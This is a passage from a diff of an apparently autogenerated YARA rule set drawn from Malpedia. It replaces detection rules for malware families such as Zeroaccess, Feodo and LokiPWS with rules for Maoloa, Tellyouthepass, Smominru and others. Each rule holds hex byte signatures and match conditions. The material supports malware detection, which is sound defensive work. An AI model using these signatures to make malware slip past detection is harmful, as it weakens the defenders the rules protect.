+		$sequence_7 = { 56 e8???????? 83463008 83c410 0fb6c3 81c500020000 8b5c2474 }
+		$sequence_8 = { 8d4dc0 e8???????? 837e1401 741a 837dec01 740d 8d45d8 }
+		$sequence_9 = { 83c410 8bce 50 68???????? e8???????? 8bf0 c78574ffffff00000000 }
 
 	condition:
-		7 of them and filesize <3178496
+		7 of them and filesize <1758208
 }
-rule MALPEDIA_Win_Zeroaccess_Auto : FILE
+rule MALPEDIA_Win_Maoloa_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dc18e525-3177-5057-b2b8-44deb0459882"
+		id = "c9cb938f-8aed-56a4-9406-4a70e3564e5d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeroaccess_auto.yar#L1-L151"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maoloa_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "4423d17d4505fc4e1d7ad61f77b371f17ded461805f238fd1e8f686647ad897a"
+		logic_hash = "aa3156b629c721039014b4e703faa79f34b5d8a33e4caf3d82f64b9729ae8335"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143724,37 +150625,32 @@ rule MALPEDIA_Win_Zeroaccess_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 85c0 7408 ff15???????? eb02 }
-		$sequence_1 = { 56 56 6a20 6a05 }
-		$sequence_2 = { bf03000040 eb05 bf010000c0 85ff }
-		$sequence_3 = { 6a01 8d45f4 50 ff7308 ff15???????? 85c0 }
-		$sequence_4 = { 6a04 68???????? 6a10 68???????? 68060000c8 ff7708 ff15???????? }
-		$sequence_5 = { ff15???????? 85c0 7407 b8e3030000 }
-		$sequence_6 = { 56 6a10 8945e8 8d45e4 }
-		$sequence_7 = { e8???????? 50 6819000200 8d45f8 }
-		$sequence_8 = { 3bc1 7604 83c8ff c3 }
-		$sequence_9 = { 50 68???????? 6889001200 8d45fc }
-		$sequence_10 = { 56 8d45f8 50 ff15???????? 6a01 8d45f8 50 }
-		$sequence_11 = { 33c0 48 83c9ff c744242804000000 48 }
-		$sequence_12 = { 85db 741f 8b4304 49 }
-		$sequence_13 = { 7615 83780815 750f c705????????01000000 }
-		$sequence_14 = { 48 83ec20 41 8bf9 48 8bd9 }
+		$sequence_0 = { 8b55fc 8bcb 85c0 7817 8d45f0 50 e8???????? }
+		$sequence_1 = { 50 ffb5f0e4ffff 8b35???????? ffd6 8b85c0e4ffff c1e015 03858ce5ffff }
+		$sequence_2 = { 8b4df8 33cd e8???????? 8be5 5d c3 befcffffff }
+		$sequence_3 = { 83c404 85f6 0f8590000000 6a01 8bd7 8bcf e8???????? }
+		$sequence_4 = { 85c0 8d8d00e0ffff 0f45ce 8bf1 89b5f8dfffff 8d85f8efffff 50 }
+		$sequence_5 = { b910000000 0f43c1 8d4c2418 2bf8 }
+		$sequence_6 = { 8d97a9cfde4b 33c1 894db4 0345d0 03d0 8b7db4 c1c20b }
+		$sequence_7 = { 8bd3 c707ffffffff 8bcf e8???????? 83c404 8bf0 8b85e0f9ffff }
+		$sequence_8 = { 0f1f00 0fb601 8d4901 30440eff 0fb641ff 30440aff 83ef01 }
+		$sequence_9 = { 5e 5b 8be5 5d c3 8d45f0 8bd1 }
 
 	condition:
-		7 of them and filesize <172032
+		7 of them and filesize <586752
 }
-rule MALPEDIA_Win_Trochilus_Rat_Auto : FILE
+rule MALPEDIA_Win_Lcpdot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "59484933-96f5-5392-a130-d1897de1bd22"
+		id = "a95a9872-7a8a-5e4e-81d9-79280cf44b78"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.trochilus_rat_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lcpdot_auto.yar#L1-L158"
 		license_url = "N/A"
-		logic_hash = "e651983c70589c057f0ef7e60f3a8876ce52f4e099a0b1c41a830840b75beb3c"
+		logic_hash = "3aab7a93128b920a2310606f2af0b9275aa227850391bd4e2d60e74544bd69d0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143768,32 +150664,37 @@ rule MALPEDIA_Win_Trochilus_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb74636 50 ffd7 0fb7c8 668bd1 662b935e010100 }
-		$sequence_1 = { 6a32 56 53 e8???????? }
-		$sequence_2 = { 50 ffd3 668b8e52010100 662bc8 6683f903 0f8c9e000000 81863001010018fcffff }
-		$sequence_3 = { 56 8bf1 8d5e04 8bcb e8???????? 83f8ff 7407 }
-		$sequence_4 = { 8d4de4 51 50 ff7538 ff7534 }
-		$sequence_5 = { 5e 5d c20c00 55 8bec 837d08ff 56 }
-		$sequence_6 = { 68???????? 50 ff15???????? 85c0 7404 33c0 eb1a }
-		$sequence_7 = { ff15???????? 33c0 eb81 55 8bec 51 53 }
-		$sequence_8 = { 33db 391f 7e1d 8b4704 8b4c0304 68a01e0110 e8???????? }
-		$sequence_9 = { b8fac50010 e8???????? 8bf1 837d0800 7505 8b06 ff505c }
+		$sequence_0 = { e9???????? c705????????01000000 e8???????? 83f801 }
+		$sequence_1 = { 85c9 0f848c000000 53 56 8b7208 }
+		$sequence_2 = { 6a01 52 56 8d8508feffff }
+		$sequence_3 = { e8???????? 85c0 752a 56 ff15???????? }
+		$sequence_4 = { ff24851e884000 838de8fdffffff 89b588fdffff 89b5bcfdffff }
+		$sequence_5 = { 90 488b4308 4885c0 743f 488b0d???????? 488d15ad4f0100 }
+		$sequence_6 = { ffd7 5f 5e c3 55 8bec 81ec400c0000 }
+		$sequence_7 = { 8d8d14f4ffff 51 ebd8 83c320 53 8bce e8???????? }
+		$sequence_8 = { 8b11 8b4228 53 ffd0 33c0 8d55e0 }
+		$sequence_9 = { 85c0 0f8514010000 4c8d2d0a2f0100 41b804010000 }
+		$sequence_10 = { 488d4c2430 e8???????? b920080000 e8???????? }
+		$sequence_11 = { 48894c2408 4881ec88000000 488d0df54d0100 ff15???????? }
+		$sequence_12 = { 488bd9 894110 bf04000000 3daa55aa55 7519 }
+		$sequence_13 = { 7409 488bcf ff15???????? 33c0 488b9c2470040000 488b8c2440040000 4833cc }
+		$sequence_14 = { 488d1d23de0000 488d3d24de0000 eb0e 488b03 4885c0 7402 ffd0 }
 
 	condition:
-		7 of them and filesize <630784
+		7 of them and filesize <257024
 }
-rule MALPEDIA_Win_Cloudeye_Auto : FILE
+rule MALPEDIA_Win_Tellyouthepass_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "55cebb53-71a5-52d8-a3dc-f73efa113a86"
+		id = "2f59ff80-ce55-5261-bc1e-9b9085ba348c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cloudeye_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tellyouthepass_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "ce7b005739a8ed2a89f930168aa824ea8a88d8cc7cac3881e5d28b500fe73c46"
+		logic_hash = "e0931a30828c9c1e2a42766d85093d9ba189ed49cc692d748a9e549b96d308d1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143807,32 +150708,32 @@ rule MALPEDIA_Win_Cloudeye_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c002 668b1c08 668b140e 6639d3 75e4 83e902 83f900 }
-		$sequence_1 = { 7545 66f7c14179 685595db6d e8???????? }
-		$sequence_2 = { e8???????? 5f 59 83c628 41 3b8f04080000 75a8 }
-		$sequence_3 = { 7408 0185f4000000 eba4 85d8 }
-		$sequence_4 = { 89f8 0500080000 50 6aff }
-		$sequence_5 = { 6685d2 e8???????? 84ef 80fd37 57 e8???????? 58 }
-		$sequence_6 = { c3 38ed 817e24200000e0 7473 }
-		$sequence_7 = { 668b00 6631c8 39c8 6631c3 6681fb4d5a 7407 6639c1 }
-		$sequence_8 = { 0fbae11f 0f82d63c0000 61 0faee8 0f31 0faee8 c1e220 }
-		$sequence_9 = { 75e4 83e902 83f900 7deb ff742404 }
+		$sequence_0 = { 4c895c2438 48895c2430 e8???????? 488d05e4021a00 bb1d000000 e8???????? 488b442450 }
+		$sequence_1 = { 488d05a4bf1700 bb13000000 0f1f440000 e8???????? 8b442414 89c0 e8???????? }
+		$sequence_2 = { e8???????? 488b442428 e8???????? 488d0509dd1700 bb07000000 e8???????? 488b442420 }
+		$sequence_3 = { e9???????? 488d05231a3400 31db 488b6c2458 4883c460 c3 48895c2470 }
+		$sequence_4 = { 7506 48894208 eb09 488d7a08 e8???????? 488bac24f8000000 4881c400010000 }
+		$sequence_5 = { c3 440fb6ac24080a0000 4584ed 0f8471030000 4983fc07 0f85aa010000 4c8b4828 }
+		$sequence_6 = { e8???????? e8???????? 488b4818 488b5820 488b5028 4889c8 4889d1 }
+		$sequence_7 = { 498d7a78 e8???????? 498b9050010000 498b9858010000 498bb060010000 49899a98000000 4989b2a0000000 }
+		$sequence_8 = { 84c0 0f8566feffff 31c0 488b6c2418 4883c420 c3 31c0 }
+		$sequence_9 = { 0f1f00 e8???????? 31db 31c9 488d3d501c0c00 4889c6 31c0 }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <7152640
 }
-rule MALPEDIA_Win_Feodo_Auto : FILE
+rule MALPEDIA_Win_Underminer_Ek_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "63743f44-4e6b-5a91-9837-bc3f6dee3649"
+		id = "2ed43350-f854-5062-8561-cad10f7ea1be"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.feodo_auto.yar#L1-L175"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.underminer_ek_auto.yar#L1-L176"
 		license_url = "N/A"
-		logic_hash = "b3401747482af4dd4837f27d2a5311953b45c82ad5e6a5cd690191bf7d127342"
+		logic_hash = "39ca462c5e03509c03f5a77251b93a3d7053742d5a8b5f784c7649f495781800"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143846,38 +150747,77 @@ rule MALPEDIA_Win_Feodo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c120 8d51d0 83fa09 7704 8bca eb10 8d519f }
-		$sequence_1 = { 6a00 8d542424 52 6a00 ff15???????? 85c0 }
-		$sequence_2 = { 7422 83e801 7404 83c8ff c3 8b4c2404 b802000000 }
-		$sequence_3 = { 6a00 8d4c240c 51 52 50 8b442414 50 }
-		$sequence_4 = { 56 57 33ff 57 6a02 6a02 57 }
-		$sequence_5 = { 742f 8b0f 6a01 68???????? 68???????? }
-		$sequence_6 = { 50 8b442414 50 ff15???????? 85c0 7405 }
-		$sequence_7 = { 6a00 8d942418020000 52 50 }
-		$sequence_8 = { 3452 e8???????? 0202 0202 1c83 0000 }
-		$sequence_9 = { 229921688d3c 2ee83e207468 60 238b0d03c783 782e 1463 }
-		$sequence_10 = { 006c082e 08cc 6969690bc8cc69 690c2e2e0b8ce0 04f7 e10c 206d53 }
-		$sequence_11 = { 150d14f452 696969697f3cc3 af e2c3 }
-		$sequence_12 = { 041e 6e 18b8161e6e18 b8161e33c9 0000 16 43 }
-		$sequence_13 = { 0404 0404 0316 16 }
-		$sequence_14 = { 0056b0 2e2801 0bd0 83c4ce 00576a 05c705c07f }
-		$sequence_15 = { 007538 034568 3327 325616 }
+		$sequence_0 = { 68d040fa7e 687853fa7e ff742418 ffd0 85c0 }
+		$sequence_1 = { 684c52fa7e 53 ff15???????? 8bf8 85ff 7476 }
+		$sequence_2 = { 1bc0 23c1 83c008 5d c3 8b04c5e48f4200 5d }
+		$sequence_3 = { 884d17 0f8482000000 f6451701 7445 8b4d10 }
+		$sequence_4 = { 68e452fa7e 53 e8???????? 68ef030000 8d4311 68d233fa7e 50 }
+		$sequence_5 = { 51 e8???????? 83c408 8b55dc c745f000000000 }
+		$sequence_6 = { 8b49fc 83c223 2bc1 83c0fc 83f81f 0f87b0130000 52 }
+		$sequence_7 = { f30f7e4110 660fd645f0 c7411000000000 c741140f000000 c60100 837df410 0f4345e0 }
+		$sequence_8 = { 8b4d0c c60102 ebe9 3cbf 770b }
+		$sequence_9 = { 0fb6d1 f604557aa3420001 740f 8b45f0 8b8094000000 }
+		$sequence_10 = { 8bdf 46 ff4d0c c1e010 0fbf16 03d8 8d841a00800000 }
+		$sequence_11 = { 8b34bd6cc64200 eb07 8b34bd38c64200 53 46 }
+		$sequence_12 = { 89451c 7548 803ee8 7559 8b4601 }
+		$sequence_13 = { 6a00 51 50 57 ff15???????? ff75d8 }
+		$sequence_14 = { 49 807dff00 8955ec 894df4 8b0485582c4300 }
+		$sequence_15 = { 5b c9 c3 ff742408 8b442408 ff10 c3 }
+
+	condition:
+		7 of them and filesize <466944
+}
+rule MALPEDIA_Win_Chiser_Client_Auto : FILE
+{
+	meta:
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "e8afcaec-169c-5519-a609-4458271450b4"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chiser_client"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chiser_client_auto.yar#L1-L124"
+		license_url = "N/A"
+		logic_hash = "3bc0569053961dd359f1e4296146fed96a2d550b29a6ec46396d68a2c22beadc"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 668945b7 488d55b7 488d4dd7 e8???????? b862000000 }
+		$sequence_1 = { 488bcb e8???????? b801000000 4883c430 415e 5f }
+		$sequence_2 = { e8???????? 488d156f390300 488d4c2420 e8???????? cc 48895c2408 4889742410 }
+		$sequence_3 = { ff15???????? 483305???????? 488d15bedf0200 488bcb 488905???????? }
+		$sequence_4 = { 894810 48634810 b802000000 48f7e1 48c7c1ffffffff 480f40c1 }
+		$sequence_5 = { ff15???????? 8bd8 83f801 0f84c7030000 8bc8 83e902 }
+		$sequence_6 = { 4c8d0564070000 eb1e 3d03003000 7509 }
+		$sequence_7 = { 488bc8 488d15a48e0100 ff15???????? 4885c0 0f8432030000 488bc8 e8???????? }
+		$sequence_8 = { 488944246a 89442472 6689442476 c74424502f006900 c74424546e006400 c744245865007800 c744245c2e006800 }
+		$sequence_9 = { 488d1590500200 488d4d20 e8???????? cc 48895d08 4883651000 488b86a8000000 }
 
 	condition:
-		7 of them and filesize <270336
+		7 of them and filesize <714752
 }
-rule MALPEDIA_Win_Sidewinder_Auto : FILE
+rule MALPEDIA_Win_Webc2_Greencat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "476f112b-78c8-59d9-8623-54ca0fa7fd69"
+		id = "60cc7c89-f223-5f05-b50e-ef8d73401362"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sidewinder_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_greencat_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "eff1c6e4779cf645096e1bcfd05e39d6cbab1c4bd8a928e81992c305a580a163"
+		logic_hash = "e9fd4938930988d9b35f1bca39290f31fad2f360914fa390eec34fabf9934b56"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143891,32 +150831,32 @@ rule MALPEDIA_Win_Sidewinder_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83a570fdffff00 8b45c4 89853cffffff 8d8544ffffff 50 8b853cffffff 8b00 }
-		$sequence_1 = { 50 e8???????? 89852cfbffff e8???????? 8d8568fbffff 50 e8???????? }
-		$sequence_2 = { e8???????? 8d45c4 50 8d45a0 50 e8???????? 8d45a0 }
-		$sequence_3 = { 8d45e0 50 e8???????? 0fbf45e8 50 ff75e0 e8???????? }
-		$sequence_4 = { 7d20 6a30 68???????? ff35???????? ffb534ffffff e8???????? 898504ffffff }
-		$sequence_5 = { 8b00 ff7508 ff5004 8b450c 832000 8d45e8 50 }
-		$sequence_6 = { e8???????? 8bd0 8d4de8 e8???????? 8d45c8 50 8d45d8 }
-		$sequence_7 = { ff5020 dbe2 898528ffffff 83bd28ffffff00 7d1d 6a20 68???????? }
-		$sequence_8 = { 8945dc 8d45e4 50 8b45dc 8b00 ff75dc ff5024 }
-		$sequence_9 = { ff75b8 ff75d8 6aff 6820110000 e8???????? 83650c00 eb27 }
+		$sequence_0 = { 57 50 e8???????? 59 8bd8 59 eb03 }
+		$sequence_1 = { 59 59 e9???????? ff35???????? ff15???????? 3bc6 }
+		$sequence_2 = { 33f6 895df4 8d450c 50 ff35???????? ff15???????? 817d0c03010000 }
+		$sequence_3 = { 395ddc 752d 391d???????? 7525 3bf3 7521 }
+		$sequence_4 = { e8???????? 83c418 53 6a02 }
+		$sequence_5 = { 8d85fcfeffff 33ff 6804010000 50 }
+		$sequence_6 = { 50 53 ff15???????? 33c9 8945f0 }
+		$sequence_7 = { 8bf0 395ddc 752d 391d???????? 7525 3bf3 7521 }
+		$sequence_8 = { ff75fc ff15???????? 83c428 53 6880000000 }
+		$sequence_9 = { 0fbe4007 83e830 8945f8 8d85f8fdffff 50 }
 
 	condition:
-		7 of them and filesize <679936
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Webc2_Adspace_Auto : FILE
+rule MALPEDIA_Win_Smominru_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "31690ec3-53d2-516a-a2ac-2daa7b554ffe"
+		id = "f9ca05ba-f03e-5436-9d57-424a2dfc3ab2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_adspace_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smominru_auto.yar#L1-L162"
 		license_url = "N/A"
-		logic_hash = "7852a8a7e96f78b645860237edf52acf830636cf13e5faeed5b1eb81bda4c09a"
+		logic_hash = "bda67966371ffe5669f600e524bbc69b988d40d47c3737672a3d574c8f6a0cdf"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143930,32 +150870,38 @@ rule MALPEDIA_Win_Webc2_Adspace_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8580feffff 68???????? 50 ffd6 ff750c 894510 }
-		$sequence_1 = { ffd6 8bf8 c70424???????? ffd6 }
-		$sequence_2 = { 50 8d8580feffff 50 e8???????? 8b35???????? 8d8580feffff }
-		$sequence_3 = { 8d4dec e8???????? 8d4dec e8???????? 6a0a ff15???????? a1???????? }
-		$sequence_4 = { c3 56 8b742408 56 e8???????? 59 8b4c2410 }
-		$sequence_5 = { 0f84f8010000 80a4241c01000000 6a3f 59 33c0 }
-		$sequence_6 = { 7469 6a00 57 56 }
-		$sequence_7 = { 50 e8???????? 83c40c 8bf8 8d45fc 50 }
-		$sequence_8 = { 59 33c0 85ff 59 }
-		$sequence_9 = { a1???????? 40 50 57 56 }
+		$sequence_0 = { 8b474c 894610 8b4750 894614 8b4754 894618 }
+		$sequence_1 = { 0fb7c0 8d4dac 51 50 6a01 }
+		$sequence_2 = { 8bd8 eb06 3b4628 0f94c3 }
+		$sequence_3 = { 0f84694ac17b f6c140 0f856f4ac17b 8ad1 80e23f }
+		$sequence_4 = { 8bd8 eb06 47 ff4df0 }
+		$sequence_5 = { 8bd8 eb02 b301 8bc7 }
+		$sequence_6 = { 8bd8 eb06 ff45f0 4f }
+		$sequence_7 = { 8bd8 eb02 33db 837dfc00 }
+		$sequence_8 = { 6aff e8???????? 85c0 0f8c05e5c07b }
+		$sequence_9 = { ff15???????? 3d03010000 0f8447a0b17b 85c0 0f8c3fa0b17b }
+		$sequence_10 = { 8b37 8975e0 85f6 0f842bfebb7b 83feff 0f8422febb7b 8b5f14 }
+		$sequence_11 = { 8bd8 eb09 55 e8???????? 59 }
+		$sequence_12 = { 0f8c21f7b07b 0fbe75f4 6bf630 e8???????? 8b402c 648b0d18000000 56 }
+		$sequence_13 = { 0f8c79feab7b 8d45c4 50 e8???????? 8b45f0 }
+		$sequence_14 = { 8bd8 e9???????? 8d4df8 8bd7 8bc6 e8???????? 8d4df4 }
+		$sequence_15 = { 8bd8 eb0a 8d45f0 e8???????? }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <8167424
 }
-rule MALPEDIA_Win_Lokipws_Auto : FILE
+rule MALPEDIA_Win_Unidentified_094_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "51c802c9-41e6-5018-92e7-bd3c468d0c8a"
+		id = "f5bdd8f3-d974-5222-9555-3631072a29c0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lokipws_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_094"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_094_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "c67ee200474ecbc3881960b10110e8aa7bde902411981013b30687544f7cfcf3"
+		logic_hash = "f3d0ed91e99c9ab03a6ddd24a2a28007a40b7e677077c8b725a5a67f32cc52a7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143969,32 +150915,32 @@ rule MALPEDIA_Win_Lokipws_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 55 8bec 83ec1c 6a2a 58 6a4d 668945e4 }
-		$sequence_1 = { 53 57 a3???????? e8???????? 68???????? 56 }
-		$sequence_2 = { 50 688b778dfe 50 e8???????? 8d4df8 }
-		$sequence_3 = { 6a00 ff75fc ff35???????? e8???????? 6a00 6a00 }
-		$sequence_4 = { 56 ff750c e8???????? 83c40c 85c0 7420 90 }
-		$sequence_5 = { 50 ff7508 8975fc e8???????? 8bf8 59 59 }
-		$sequence_6 = { 58 66895dc4 668975ca 66897dcc 66895dce 668955d0 66895dd2 }
-		$sequence_7 = { 6a02 e8???????? ff750c ff7508 ffd0 5d c3 }
-		$sequence_8 = { 668945f2 58 6a6e 668945f6 58 668945fa 33c0 }
-		$sequence_9 = { 83fe05 6a02 58 0f47f0 33db 43 3bf3 }
+		$sequence_0 = { 890d???????? 57 8915???????? a3???????? 83ceff b9???????? }
+		$sequence_1 = { 6a5c 68???????? e8???????? 83c408 33c9 }
+		$sequence_2 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? }
+		$sequence_3 = { 83c310 ff4d0c 0f857ffeffff 5f }
+		$sequence_4 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? c3 }
+		$sequence_5 = { 884dff 84d2 7902 341b }
+		$sequence_6 = { 3055fd 0fb61401 3055fe 0fb6540101 3055ff 8b55fc 89540102 }
+		$sequence_7 = { 6a00 6a00 6a00 ff15???????? c3 }
+		$sequence_8 = { 80f31b 8ad3 02d2 84db 7903 80f21b }
+		$sequence_9 = { 890d???????? 57 8915???????? a3???????? }
 
 	condition:
-		7 of them and filesize <1327104
+		7 of them and filesize <524288
 }
-rule MALPEDIA_Win_Nozelesn_Decryptor_Auto : FILE
+rule MALPEDIA_Win_Mim221_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5291555a-238b-5124-8c5e-fbe5c6dae533"
+		id = "e2e82536-e29b-53d1-8c95-30ff68363ca9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nozelesn_decryptor_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mim221_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "1af6964230aa159d6a9d9c0e30b792e1839c5e421f268df94cf1e56da3b12562"
+		logic_hash = "bd7d2b077259a6edc03c8b758f8bad3f5a42643cb60c61d80165934010c8f5e6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144008,32 +150954,32 @@ rule MALPEDIA_Win_Nozelesn_Decryptor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b459c 8d4dd8 51 8b00 8b701c 8bce e8???????? }
-		$sequence_1 = { c7401000000000 c7401407000000 668908 c645fc06 8bb5ccfbffff 85f6 0f848d100000 }
-		$sequence_2 = { 8bc1 83e801 747b 83e801 7466 2d0f010000 7416 }
-		$sequence_3 = { 3bcf 7c10 7f07 3d???????? 7607 bf???????? eb02 }
-		$sequence_4 = { 743f 8b7b0c eb28 8b4608 }
-		$sequence_5 = { 8b5508 85d2 7436 8bc2 8945fc 83fa04 721f }
-		$sequence_6 = { ff7730 c745fc01000000 8945a0 c645ac00 c645ad00 e8???????? 8d4584 }
-		$sequence_7 = { e8???????? 837b3800 884340 7510 8b430c 8bcb 83c804 }
-		$sequence_8 = { 33d7 8945e8 33d6 8bf0 c1c20d 33f1 8bc2 }
-		$sequence_9 = { 7428 8b03 8d4d90 51 8b7018 8bce e8???????? }
+		$sequence_0 = { 90 4883bc244001000008 720d 488b8c2428010000 e8???????? 4881c420020000 415e }
+		$sequence_1 = { c68424b400000061 4488a424b5000000 c68424b600000064 c68424b70000006c 4488ac24b8000000 c68424b900000046 c68424ba00000072 }
+		$sequence_2 = { 488b8c2400010000 e8???????? e9???????? 4889442420 4d8bcc 4c8b8424f8010000 488bd6 }
+		$sequence_3 = { 57 488bc4 4883ec58 48c7442420feffffff 498bd8 488bf9 }
+		$sequence_4 = { 668944243a 668944243c 668944243e 6689442440 488d542420 488bcf 66c74424420000 }
+		$sequence_5 = { 3d5a290000 7307 b801000000 eb0a 3d39380000 1bc0 83c003 }
+		$sequence_6 = { 66c7803effffff4c00 66b85300 6689842418010000 66c784241a0100004100 6644899c241c010000 66c784241e0100004900 66c78424200100007300 }
+		$sequence_7 = { 4157 4881ec88000000 33ff 498be8 488bf1 4c8bfa }
+		$sequence_8 = { 3d401f0000 7309 8d7b20 448d6b18 eb1b 3db8240000 730b }
+		$sequence_9 = { 488d8c24ca000000 e8???????? c684249003000044 c68424910300008b c684249203000001 c684249303000044 c684249403000039 }
 
 	condition:
-		7 of them and filesize <1122304
+		7 of them and filesize <471040
 }
-rule MALPEDIA_Win_Htprat_Auto : FILE
